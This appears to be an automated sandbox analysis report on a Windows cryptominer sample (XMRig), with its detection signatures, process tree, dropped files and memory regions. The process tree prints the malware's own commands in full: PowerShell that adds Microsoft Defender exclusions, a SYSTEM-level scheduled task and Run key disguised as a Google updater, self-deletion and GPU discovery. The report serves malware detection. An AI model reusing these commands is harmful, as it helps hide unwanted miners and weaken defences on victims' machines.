Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3532
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:956
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4356
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            4⤵
              PID:4520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3416
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4892
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4288
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:4112
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1740
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2728
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4140
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3500
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:3560
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3008
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4776
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:452

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 be160f97aec2113f4e5614b356cf6344553a6685be0613967235d62fc83d9fb8
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_lbq2jszg.fcl.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lbq2jszg.fcl.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 93ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 a44ba59eb52b4d6555065fa840ac7162080eb538e6b6a47198fe4961d0297833
                • MD5 SHA1 SHA512

                memory/452-54-0x00007FF74FE40000-0x00007FF750051000-memory.dmp

                memory/452-85-0x00007FF74FE40000-0x00007FF750051000-memory.dmp

                memory/452-124-0x00007FF74FE40000-0x00007FF750051000-memory.dmp

                memory/956-36-0x00007FF756E20000-0x00007FF757031000-memory.dmp

                memory/956-0-0x00007FF756E20000-0x00007FF757031000-memory.dmp

                memory/1740-84-0x000001A2B84D0000-0x000001A2B84DA000-memory.dmp

                memory/1740-78-0x000001A2B8330000-0x000001A2B833A000-memory.dmp

                memory/1740-83-0x000001A2B84C0000-0x000001A2B84C6000-memory.dmp

                memory/1740-81-0x000001A2B84E0000-0x000001A2B84FA000-memory.dmp

                memory/1740-80-0x000001A2B8480000-0x000001A2B848A000-memory.dmp

                memory/1740-79-0x000001A2B84A0000-0x000001A2B84BC000-memory.dmp

                memory/1740-76-0x000001A2B8250000-0x000001A2B826C000-memory.dmp

                memory/1740-82-0x000001A2B8490000-0x000001A2B8498000-memory.dmp

                memory/1740-86-0x000001A29EFE0000-0x000001A29EFF0000-memory.dmp

                memory/1740-77-0x000001A2B8270000-0x000001A2B8325000-memory.dmp

                memory/1740-89-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/1740-64-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/1740-65-0x000001A29EFE0000-0x000001A29EFF0000-memory.dmp

                memory/1740-66-0x00007FF471060000-0x00007FF471070000-memory.dmp

                memory/2728-104-0x0000017B3E290000-0x0000017B3E2A0000-memory.dmp

                memory/2728-116-0x0000017B3E290000-0x0000017B3E2A0000-memory.dmp

                memory/2728-115-0x0000017B57550000-0x0000017B57605000-memory.dmp

                memory/2728-105-0x00007FF4A77C0000-0x00007FF4A77D0000-memory.dmp

                memory/2728-93-0x0000017B3E290000-0x0000017B3E2A0000-memory.dmp

                memory/2728-92-0x0000017B3E290000-0x0000017B3E2A0000-memory.dmp

                memory/2728-91-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/2728-118-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/3416-8-0x000002D2F69F0000-0x000002D2F6A12000-memory.dmp

                memory/3416-11-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/3416-16-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/3416-13-0x000002D2F6A80000-0x000002D2F6A90000-memory.dmp

                memory/3416-12-0x000002D2F6A80000-0x000002D2F6A90000-memory.dmp

                memory/4140-129-0x00007FF6FBAE0000-0x00007FF6FBAF6000-memory.dmp

                memory/4140-138-0x00007FF6FBAE0000-0x00007FF6FBAF6000-memory.dmp

                memory/4356-53-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/4356-37-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/4356-39-0x000001D0E5530000-0x000001D0E5540000-memory.dmp

                memory/4356-38-0x000001D0E5530000-0x000001D0E5540000-memory.dmp

                memory/4356-50-0x000001D0E5530000-0x000001D0E5540000-memory.dmp

                memory/4776-134-0x000001BBDD2A0000-0x000001BBDD2C0000-memory.dmp

                memory/4776-173-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-122-0x000001BBDD0E0000-0x000001BBDD100000-memory.dmp

                memory/4776-123-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-195-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-193-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-128-0x000001BBDD260000-0x000001BBDD280000-memory.dmp

                memory/4776-191-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-130-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-132-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-133-0x000001BBDD280000-0x000001BBDD2A0000-memory.dmp

                memory/4776-189-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-136-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-137-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-187-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-139-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-140-0x000001BBDD280000-0x000001BBDD2A0000-memory.dmp

                memory/4776-141-0x000001BBDD2A0000-0x000001BBDD2C0000-memory.dmp

                memory/4776-143-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-145-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-147-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-149-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-155-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-157-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-159-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-161-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-163-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-165-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-167-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-169-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-171-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-185-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-175-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-177-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-179-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-181-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4776-183-0x00007FF6D45F0000-0x00007FF6D4DE4000-memory.dmp

                memory/4892-18-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/4892-34-0x00007FFCD0E60000-0x00007FFCD1921000-memory.dmp

                memory/4892-32-0x00000250FC8F0000-0x00000250FC900000-memory.dmp

                memory/4892-31-0x00000250FC8F0000-0x00000250FC900000-memory.dmp

                memory/4892-20-0x00000250FC8F0000-0x00000250FC900000-memory.dmp

                memory/4892-19-0x00000250FC8F0000-0x00000250FC900000-memory.dmp